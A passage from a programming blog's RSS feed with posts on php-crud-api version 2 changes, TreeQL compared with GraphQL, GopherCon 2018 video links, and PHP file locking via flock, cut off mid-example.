also downsides. Most clients were running JavaScript and JavaScript was not
capable of handling these amounts of data. Also people were often disabling the
streaming by using server-side transformations as this was more easy to use. In
v2 there is no more streaming data and no client-side transformations.</p>
<h3 id="removed-support-for-jsonjsonb">Removed: support for JSON/JSONB</h3>
<p>JSON support looked really promising when it was introduced. Unfortunately I
never got it working on a level that I was happy about. The database support was
limited as SQL Server and older MariaDB versions do not have a JSON data type.
The filtering on JSON properties was not standardized and hard to implement. In
version 2 JSON fields are supported as strings. This means you can still read
and write them as strings containing JSON, but there are no structural or
performance benefits.</p>
<h3 id="removed-support-for-sqlite">Removed: support for SQLite</h3>
<p>SQLite does not support geospatial (GIS) queries. It also has problems
supporting the boolean (and the JSON) data type. It was not used a lot as it had
performance problems in high performance use cases. Although I understand SQLite
use case (quick mock-ups) I decided to remove support for SQLite for now. This
allows me to focus on other (more important) features.</p>
<h3 id="added-reflection-cache">Added: Reflection cache</h3>
<p>Version 1 was doing database reflection calls (requesting a table&rsquo;s column
definitions) on every request. In version 2 these calls are cached to facilitate
high performance usage.</p>
<h3 id="added-middleware-extension-system">Added: Middleware extension system</h3>
<p>In order to extend the software you can now implement &ldquo;middleware&rdquo;. Middleware
allows you to define a handler that gets to modify the request that the browser
is sending to the router. It also allows to modify the response before it gets
send back to the browser.</p>
<h3 id="added-authentication-middleware">Added: Authentication middleware</h3>
<p>The most requested feature was an easier to use authentication system. For this
the &ldquo;basic authentication&rdquo; middleware is now provided. In order to easily hook
up social (such as Facebook) authentication systems there is support for an
authentication provider (such as Auth0) with the provided JWT authentication
middleware. You can also look at
<a href="https://github.com/mevdschee/php-api-auth">PHP-API-AUTH</a>: a single file PHP
script that acts as an authentication provider.</p>
<h3 id="other-improvements">Other improvements</h3>
<p>Other improvements that have been implemented are:</p>
<ul>
<li>Complex filters (with both &ldquo;and&rdquo; &amp; &ldquo;or&rdquo;) are supported</li>
<li>Support for boolean and binary data in all database engines</li>
<li>Support for relational data on read (not only on list operation)</li>
<li>Error reporting in JSON with corresponding HTTP status</li>
</ul>
<h3 id="work-in-progress-crud-on-columns">Work in progress: CRUD on columns</h3>
<p>In version 1 the REST end-point the &ldquo;users&rdquo; table was &ldquo;api.php/users&rdquo; and in
version 2 it is &ldquo;api.php/records/users&rdquo;. This is because there is also support
for adjusting the column definitions of the &ldquo;users&rdquo; table on the
&ldquo;api.php/columns/users&rdquo; end-point. This functionality is still work in progress,
but the read-only part is fully working. Since the data types are standardized
(based on ODBC), they are not specific to the underlying database engine.</p>
<p>Get it here:
<a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>TreeQL vs. GraphQL</title>
      <link>https://www.tqdev.com/2018-treeql-vs-graphql/</link>
      <pubDate>Thu, 04 Oct 2018 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-treeql-vs-graphql/</guid>
      <description>&lt;p&gt;Many people compare GraphQL to REST and come to the conclusion that both have
their strengths. In this post I argue that you can have the best of both worlds
by using TreeQL, an improved REST protocol.&lt;/p&gt;
&lt;h3 id=&#34;downsides-of-graphql&#34;&gt;Downsides of GraphQL&lt;/h3&gt;
&lt;p&gt;According to Stubailo and Doerrfeld the downsides of GraphQL (compared to REST)
are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It&amp;rsquo;s results can&amp;rsquo;t be cached using HTTP caching.&lt;/li&gt;
&lt;li&gt;It has limited endpoint security enforcement.&lt;/li&gt;
&lt;li&gt;It doesn’t have as many tools yet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last point is fortunately changing fast, as GraphQL adoption is rising.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Many people compare GraphQL to REST and come to the conclusion that both have
their strengths. In this post I argue that you can have the best of both worlds
by using TreeQL, an improved REST protocol.</p>
<h3 id="downsides-of-graphql">Downsides of GraphQL</h3>
<p>According to Stubailo and Doerrfeld the downsides of GraphQL (compared to REST)
are:</p>
<ul>
<li>It&rsquo;s results can&rsquo;t be cached using HTTP caching.</li>
<li>It has limited endpoint security enforcement.</li>
<li>It doesn’t have as many tools yet.</li>
</ul>
<p>That last point is fortunately changing fast, as GraphQL adoption is rising.</p>
<h3 id="benefits-of-graphql">Benefits of GraphQL</h3>
<p>According to Yegulalp and Eschweiler the benefits of GraphQL (compared to REST)
are:</p>
<ul>
<li>It reduces number of requests as related resources can be combined.</li>
<li>It reduces transfer size as you can request exactly what you need.</li>
<li>It is self-documenting by default, using a formal definition.</li>
</ul>
<p>Sturgeon also warns us that GraphQL has false advertised benefits, such as that
you &ldquo;never have to version anything.&rdquo;</p>
<h3 id="treeql-an-improved-rest-protocol">TreeQL, an improved REST protocol</h3>
<p>TreeQL is an improved REST protocol. You could also say that it is a pragmatic
GraphQL. It allows to request related entities, limit results to specific
records and columns and has built-in documentation. With these it has the same
benefits over REST that GraphQL has. Some of the benefits TreeQL has over
GraphQL are:</p>
<ul>
<li>It uses database reflection, so you do not need to define a schema.</li>
<li>It has handlers that allow you to easily implement a security model.</li>
<li>It uses REST with HTTP verbs and is compatible with HTTP caches.</li>
<li>It is documented in the OpenAPI 3 specification (formerly Swagger).</li>
</ul>
<p>Another benefit of TreeQL is that it will feel familiar for most people. TreeQL
is basically a standardized REST API with some features added to it.</p>
<p>Read more: <a href="https://treeql.org/">https://treeql.org/</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://blog.apollographql.com/graphql-vs-rest-5d425123e34b">GraphQL vs. REST - Sashko Stubailo</a></li>
<li><a href="https://nordicapis.com/is-rest-still-a-relevant-api-style">Is REST Still a Relevant API Style? - Bill Doerrfeld</a></li>
<li><a href="https://www.infoworld.com/article/3269074/apis/what-is-graphql-better-apis-by-design.html">What is GraphQL? Better APIs by design - Serdar Yegulalp</a></li>
<li><a href="https://philsturgeon.uk/api/2017/01/24/graphql-vs-rest-overview/">GraphQL vs REST: Overview - Phil Sturgeon</a></li>
<li><a href="https://medium.com/codingthesmartway-com-blog/rest-vs-graphql-418eac2e3083">REST vs. GraphQL - Sebastian Eschweiler</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon 2018: videos online</title>
      <link>https://www.tqdev.com/2018-gophercon-2018-videos-online/</link>
      <pubDate>Fri, 14 Sep 2018 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-gophercon-2018-videos-online/</guid>
      <description>&lt;p&gt;GopherCon is the original Go conference. It debuted in 2014 and is now
celebrating it&amp;rsquo;s five-year anniversary. Like every year it was held in the
Colorado Convention Center in Denver and it had about 1500 attendees. The videos
are posted on the
&lt;a href=&#34;https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA&#34;&gt;Gopher Academy Youtube channel&lt;/a&gt;
and are also linked here:&lt;/p&gt;
&lt;h3 id=&#34;tuesday-august-28&#34;&gt;Tuesday August 28&lt;/h3&gt;
&lt;p&gt;9:00 Welcome Gophers&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=YHRO5WQGh0k&#34;&gt;Kavya Joshi - The Scheduler Saga&lt;/a&gt;
[30:48]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=MZFv62qz8RU&#34;&gt;Tess Rinearson - An Over Engineering Disaster with Macaroons&lt;/a&gt;
[23:48]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;10:05 Morning Break&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>GopherCon is the original Go conference. It debuted in 2014 and is now
celebrating it&rsquo;s five-year anniversary. Like every year it was held in the
Colorado Convention Center in Denver and it had about 1500 attendees. The videos
are posted on the
<a href="https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA">Gopher Academy Youtube channel</a>
and are also linked here:</p>
<h3 id="tuesday-august-28">Tuesday August 28</h3>
<p>9:00 Welcome Gophers</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=YHRO5WQGh0k">Kavya Joshi - The Scheduler Saga</a>
[30:48]</li>
<li><a href="https://www.youtube.com/watch?v=MZFv62qz8RU">Tess Rinearson - An Over Engineering Disaster with Macaroons</a>
[23:48]</li>
</ul>
<p>10:05 Morning Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=NyDNJnioWhI">Anthony Starks - Go for Information Displays</a>
[22:51]</li>
<li><a href="https://www.youtube.com/watch?v=Lt3qZAwQX3w">Francesc Campoy Flores - Machine Learning on Go Code</a>
[28:01]</li>
<li><a href="https://www.youtube.com/watch?v=afSiVelXDTQ">Filippo Valsorda - Asynchronous Networking Patterns</a>
[43:22]</li>
<li><a href="https://www.youtube.com/watch?v=oL6JBUk6tj0">Kat Zien - How Do You Structure Your Go Apps</a>
[46:18]</li>
<li><a href="https://www.youtube.com/watch?v=jRAMCzbXteA">Hunter Loftis - Painting with Light</a>
[40:15]</li>
</ul>
<p>12:40 Lunch</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=M0HER1G5BRw">Eben Freeman - Allocator Wrestling</a>
[37:05]</li>
<li><a href="https://www.youtube.com/watch?v=4iYtR5pIMwA">Kaylyn Gibilterra - Binary Search Tree alGOrithms</a>
[26:54]</li>
<li><a href="https://www.youtube.com/watch?v=NG0s3-s3whY">Sugu Sougoumarane - How to Write a Parser in Go</a>
[40:13]</li>
<li><a href="https://www.youtube.com/watch?v=zPd0Cxzsslk">Jon Bodner - Go Says WAT</a>
[40:17]</li>
<li><a href="https://www.youtube.com/watch?v=5zXAHh5tJqQ">Bryan C. Mills - Rethinking Classical Concurrency Patterns</a>
[35:44]</li>
<li><a href="https://www.youtube.com/watch?v=i7bdGl-olkE">Amy Codes - gRPC State Machines and Testing</a>
[32:58]</li>
</ul>
<p>15:40 Afternoon Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=Y_7Gn-WH5x0">Ron Evans - Computer Vision Using Go and OpenCV 3</a>
[28:27]</li>
</ul>
<p>16:50 Housekeeping Notes</p>
<h3 id="wednesday-august-29">Wednesday August 29</h3>
<p>9:00 Welcome Back</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=cVaDY0ChvOQ">Julia Ferraioli - Writing Accessible Go</a>
[23:25]</li>
<li><a href="https://www.youtube.com/watch?v=U7glyWYj4qg">Kelsey Hightower - Going Serverless</a>
[29:17]</li>
</ul>
<p>10:05 Morning Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=A1QNlu1eiBc">Michael Stapelberg - Go in Debian</a>
[23:58]</li>
<li><a href="https://www.youtube.com/watch?v=HZYrSIC6LFA">Kevin Burke - Becoming a Go Contributor</a>
[27:15]</li>
<li><a href="https://www.youtube.com/watch?v=tjcugWj37gA">Deval Shah - From Protoype to Production: Lessons from building and scaling Reddits Ad Serving Platform</a>
[41:07]</li>
<li><a href="https://www.youtube.com/watch?v=keydVd-Zn80">George Tankersley - Micro optimizing Go Code</a>
[37:43]</li>
<li><a href="https://www.youtube.com/watch?v=kxKLYDLzuHA">Liz Rice - The Go Programmer's Guide to Secure Connections</a>
[40:30]</li>
</ul>
<p>12:40 Lunch</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=rQXYmya37y4">Nyah Check - 5 Mistakes C/C++ Devs Make While Writing Go</a>
[29:47]</li>
<li><a href="https://www.youtube.com/watch?v=L7TSvjES81U">Kris Brandow - Designing Software Within Constraints Building to a Specification</a>
[38:19]</li>
<li><a href="https://www.youtube.com/watch?v=dDr-8kbMnaw">Joshua Humphries - gRPC reflection and grpcurl</a>
[42:43]</li>
<li><a href="https://www.youtube.com/watch?v=71ggzBeHdmA">Sean T. Allen - Adventures in Cgo Performance</a>
[43:26]</li>
<li><a href="https://www.youtube.com/watch?v=3d15R-Nx57c">James Bowes - C L Eye Catching User Interfaces</a>
[45:29]</li>
<li><a href="https://www.youtube.com/watch?v=pUaFW98V1Sc">Matt Layher - Implementing a Network Protocol in Go</a>
[35:07]</li>
</ul>
<p>15:40 Afternoon Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=7yMXs9TRvVI">Natalie Pistunovich - The Importance of Beginners</a>
[21:59]</li>
</ul>
<p>16:50 Housekeeping Notes</p>
<h3 id="thursday-august-30">Thursday August 30</h3>
<p>From 10:00 to 16:00 there were lightning talks. Here they are in random order:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=T_9nF_qlM1Y">Prateek Gogia - Managing Linux Network Namespaces Before &amp; After 1.10</a>
[7:04]</li>
<li><a href="https://www.youtube.com/watch?v=JZdzoKBu8UI">Lior Nabat - Helping .Net MSMQ Apps to Migrate to Go and Kubernetes</a>
[6:34]</li>
<li><a href="https://www.youtube.com/watch?v=0xc_T7pZ_lI">Neil Primmer - Decentralizing CI CD Pipelines Using Go</a>
[5:33]</li>
<li><a href="https://www.youtube.com/watch?v=LcBB8_kggdY">Marwan Sulaiman - Migrating The Go Community</a>
[6:45]</li>
<li><a href="https://www.youtube.com/watch?v=HdyLD4HSBH8">Michael Stapelberg - router7 A Pure Go Home Router</a>
[7:13]</li>
<li><a href="https://www.youtube.com/watch?v=JN97oxVmxP8">Alan Braithwaite - Web Session Management in Go</a>
[7:06]</li>
<li><a href="https://www.youtube.com/watch?v=s5TffF4W9fA">Nate Finch - Build Your Project with Mage</a>
[8:16]</li>
<li><a href="https://www.youtube.com/watch?v=u9TYC06abAc">Aaron Schlesinger - Athens The Module Proxy for Go</a>
[6:20]</li>
<li><a href="https://www.youtube.com/watch?v=i_ARHVbp_X4">Rob Scott - Extending the Kubernetes API with a Custom Go Operator</a>
[6:32]</li>
<li><a href="https://www.youtube.com/watch?v=tw-9fNygYE4">Matt Layher - Linux Netlink and Go in 7 Minutes or Less</a>
[5:46]</li>
<li><a href="https://www.youtube.com/watch?v=XsL7ikhjNJw">Aidan Coyle - Lazy JSON Parsing</a>
[6:39]</li>
<li><a href="https://www.youtube.com/watch?v=XYOwgw5C_6o">David G Simmons - Making The IoT Go</a>
[6:17]</li>
<li><a href="https://www.youtube.com/watch?v=vWWDLXBCJcQ">Daniel Marti - Code Search Tailored for Gophers</a>
[7:11]</li>
<li><a href="https://www.youtube.com/watch?v=0SXPsLvB0UI">Nicolas Leiva - Container Network Interface and Go</a>
[6:06]</li>
<li><a href="https://www.youtube.com/watch?v=KrsydfpDoeg">Michael McLoughlin - Geohash in Golang Assembly</a>
[7:19]</li>
<li><a href="https://www.youtube.com/watch?v=fVoML1vAW2c">Josh Baker - Roaming Geofences with Tile38</a>
[5:40]</li>
<li><a href="https://www.youtube.com/watch?v=F9mDpVRAAMY">Brett Buddin - Modular Audio Synthesis with Shaden</a>
[6:35]</li>
<li><a href="https://www.youtube.com/watch?v=8Gc1HomL7z0">Hugo Torres - Talking to the Docker Socket</a>
[5:02]</li>
<li><a href="https://www.youtube.com/watch?v=DpEB0DNvcBg">Johnny Boursiquot - Go FaaS A Story</a>
[7:15]</li>
<li><a href="https://www.youtube.com/watch?v=tknx0GlAlv0">Peter Gengler - A Day in the Life of Rob Pike</a>
[6:17]</li>
<li><a href="https://www.youtube.com/watch?v=BB09FyaQN5I">Tim Heckman - Keeping Important Go Packages Alive</a>
[6:56]</li>
<li><a href="https://www.youtube.com/watch?v=Vev691R73fo">Aditya Mukerjee - Monitoring and Tracing Your Go Services</a>
[7:17]</li>
<li><a href="https://www.youtube.com/watch?v=wc84syQ5Uxs">Paul Jolly - Immutable Persistent Data Structures in Go</a>
[7:02]</li>
<li><a href="https://www.youtube.com/watch?v=bOmc2mWwnds">Kat Zien - Code it Like its 1995</a>
[8:11]</li>
<li><a href="https://www.youtube.com/watch?v=69Zy77O-BUM">Brad Fitzpatrick - The nuclear option, go test -run=InQemu</a>
[6:18]</li>
<li><a href="https://www.youtube.com/watch?v=_aCw-uZ4KXA">Andre Carvalho - Linux Delay Accounting</a>
[7:18]</li>
<li><a href="https://www.youtube.com/watch?v=Z-AEqL2buyw">Anagha Todalbagi - From REST to gRPC</a>
[6:09]</li>
<li><a href="https://www.youtube.com/watch?v=iYKlASVB4DU">Marcin Spoczynski - Quick Intro to the Workload Char Using Tracing</a>
[7:30]</li>
<li><a href="https://www.youtube.com/watch?v=eHIRPIuD1Nk">Taro Aoki - Evans More Expressive gRPC Client</a>
[6:46]</li>
<li><a href="https://www.youtube.com/watch?v=mKdLiUuBnO4">Ramya Rao - Whats New in VS Code for Go</a>
[7:23]</li>
</ul>
<h3 id="other-conference-videos">Other conference videos</h3>
<p>Did you like this post? There are more Go conference videos available, see:</p>
<ul>
<li><a href="https://tqdev.com/2018-gophercon-singapore-2018-videos-online">GopherCon Singapore 2018</a></li>
<li><a href="https://tqdev.com/2018-go-northwest-videos-online">Go Northwest 2018</a></li>
<li><a href="https://tqdev.com/2018-gophercon-uk-2018-videos-online">GopherCon UK 2018</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Java&#39;s synchronized block in PHP</title>
      <link>https://www.tqdev.com/2018-java-synchronized-block-in-php/</link>
      <pubDate>Mon, 10 Sep 2018 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-java-synchronized-block-in-php/</guid>
      <description>&lt;p&gt;In Java the &amp;ldquo;synchronized&amp;rdquo; block may help to make implementations &amp;ldquo;thread safe&amp;rdquo;.
PHP does not have this language construct, but with the help from &amp;ldquo;&lt;code&gt;flock&lt;/code&gt;&amp;rdquo;
(file lock) and it&amp;rsquo;s &amp;ldquo;&lt;code&gt;LOCK_EX&lt;/code&gt;&amp;rdquo; (exclusive lock), we can implement this
behavior ourselves. This is useful because web servers run multiple
threads/processes to execute PHP and these may read/write from the same files.
In &lt;a href=&#34;https://tqdev.com/2018-locking-file-cache-php&#34;&gt;yesterday&amp;rsquo;s post&lt;/a&gt; we
presented a lock-less solution, today we further explore the possible uses of
&amp;ldquo;&lt;code&gt;flock&lt;/code&gt;&amp;rdquo;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In Java the &ldquo;synchronized&rdquo; block may help to make implementations &ldquo;thread safe&rdquo;.
PHP does not have this language construct, but with the help from &ldquo;<code>flock</code>&rdquo;
(file lock) and it&rsquo;s &ldquo;<code>LOCK_EX</code>&rdquo; (exclusive lock), we can implement this
behavior ourselves. This is useful because web servers run multiple
threads/processes to execute PHP and these may read/write from the same files.
In <a href="https://tqdev.com/2018-locking-file-cache-php">yesterday&rsquo;s post</a> we
presented a lock-less solution, today we further explore the possible uses of
&ldquo;<code>flock</code>&rdquo;.</p>
<h3 id="implementing-a-generic-synchronized-block">Implementing a generic &ldquo;synchronized&rdquo; block</h3>
<p>You may implement a &ldquo;synchronized&rdquo; function in PHP (inspired by Java&rsquo;s
&ldquo;synchronized&rdquo; keyword). This may be implemented using the &ldquo;<code>flock</code>&rdquo; function
and the &ldquo;<code>LOCK_EX</code>&rdquo; flag. The synchronized function creates a lock file with a
name based on the topmost entry on the call-stack (which represents the filename
and line number of the invocation of the synchronized function). This means you
can create multiple independent synchronized blocks as the function
automatically names the lock file.</p>
<pre><code>function synchronized($handler)
{
    $name = md5(json_encode(debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS,1)[0]));
    $filename = sys_get_temp_dir().'/'.$name.'.lock';
    $file = fopen($filename, 'w');
    if ($file === false) {
        return false;
    }
    $lock = flock($file, LOCK_EX);
    if (!$lock) {
        fclose($file);
        return false;
    }
    $result = $handler();
    flock($file, LOCK_UN);
    fclose($file);
    return $result;
}

function file_put_contents_atomic($filename, $string)
{
    return synchronized(function() use ($filename, $string) {
        $tempfile = $filename . '.temp';
        $result = file_put_contents($tempfile, $string);
        $result = $result &amp;&amp; rename($tempfile, $filename);
        return $result;
    });
}
</code></pre>
<p>My tests (4 readers and 4 writers, 100000 times at &gt;1000 req/sec) have shown
that this custom &ldquo;synchronized&rdquo; function has no race conditions.</p>
<h3 id="implementing-generic-reader-and-writer-functions">Implementing generic &ldquo;reader&rdquo; and &ldquo;writer&rdquo; functions</h3>
<p>Based on the &ldquo;synchronized&rdquo; function you can easily create a generic reader and
writer variant in which you pass the &ldquo;$name&rdquo; as an argument. The reader can than
request a shared lock, while the writer requests an exclusive lock. Below we
have implemented the locking solution from previous post using these convenience
functions.</p>
<pre><code>function lock_for_reading($name, $handler)
{
    $filename = sys_get_temp_dir().'/'.md5($name).'.lock';
    $file = fopen($filename, 'r');
    if ($file === false) {
        return false;
    }
    $lock = flock($file, LOCK_SH);
    if (!$lock) {
        fclose($file);
        return false;
    }
    $result = $handler();
    flock($file, LOCK_UN);
    fclose($file);
    return $result;
}

function file_get_contents_locking($filename)
{
    return lock_for_reading($filename, function() use ($filename) {
        return file_get_contents($filename);
    });
}

function lock_for_writing($name, $handler)
{
    $filename = sys_get_temp_dir().'/'.md5($name).'.lock';
    $file = fopen($filename, 'w');
    if ($file === false) {
        return false;
    }
    $lock = flock($file, LOCK_EX);
    if (!$lock) {
        fclose($file);
        return false;
    }
    $result = $handler();
    flock($file, LOCK_UN);
    fclose($file);
    return $result;
}

function file_put_contents_locking($filename, $string)
{
    return lock_for_writing($filename, function() use ($filename, $string) {
        return file_put_contents($filename, $string);
    });
}
</code></pre>
<p>Note that &ldquo;$name&rdquo; parameter that you specify as the first argument to the lock
functions does not have to be a filename. It should be the same for the
corresponding reader and writer and it should be different for unrelated locks.</p>
<p>Did you like this article? Then you also want to read about
<a href="https://tqdev.com/2018-locking-file-cache-php">a locking file cache in PHP</a>.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>A locking file cache in PHP</title>
      <link>https://www.tqdev.com/2018-locking-file-cache-php/</link>
      <pubDate>Sun, 09 Sep 2018 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-locking-file-cache-php/</guid>
      <description>&lt;p&gt;The functions &amp;ldquo;&lt;code&gt;file_get_contents&lt;/code&gt;&amp;rdquo; and &amp;ldquo;&lt;code&gt;file_put_contents&lt;/code&gt;&amp;rdquo; can be used to
implement a file based cache in PHP. Unfortunately the read function is missing
a critical feature: support for file locking. Without file locking the function
reading the contents may return an empty string (or partial cache content) while
the content is being written.&lt;/p&gt;
&lt;h3 id=&#34;shared-and-exclusive-locks-explained&#34;&gt;Shared and exclusive locks explained&lt;/h3&gt;
&lt;p&gt;If you run the following writer script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// write.php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$filename&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;sys_get_temp_dir&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;/test.txt&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$string&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;test&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fopen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;flock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;LOCK_EX&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;file_put_contents&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;flock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;LOCK_UN&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;fclose&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And in another tab (at the same time) this reader script:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The functions &ldquo;<code>file_get_contents</code>&rdquo; and &ldquo;<code>file_put_contents</code>&rdquo; can be used to
implement a file based cache in PHP. Unfortunately the read function is missing
a critical feature: support for file locking. Without file locking the function
reading the contents may return an empty string (or partial cache content) while
the content is being written.</p>
<h3 id="shared-and-exclusive-locks-explained">Shared and exclusive locks explained</h3>
<p>If you run the following writer script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="c1">// write.php
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$filename</span> <span class="o">=</span> <span class="nx">sys_get_temp_dir</span><span class="p">()</span><span class="o">.</span><span class="s1">&#39;/test.txt&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$string</span> <span class="o">=</span> <span class="s1">&#39;test&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$file</span> <span class="o">=</span> <span class="nx">fopen</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$lock</span> <span class="o">=</span> <span class="nx">flock</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nx">LOCK_EX</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">file_put_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="nv">$string</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">flock</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nx">LOCK_UN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">fclose</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
</span></span></code></pre></div><p>And in another tab (at the same time) this reader script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="c1">// read.php
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$filename</span> <span class="o">=</span> <span class="nx">sys_get_temp_dir</span><span class="p">()</span><span class="o">.</span><span class="s1">&#39;/test.txt&#39;</span><span class="p">;</span>
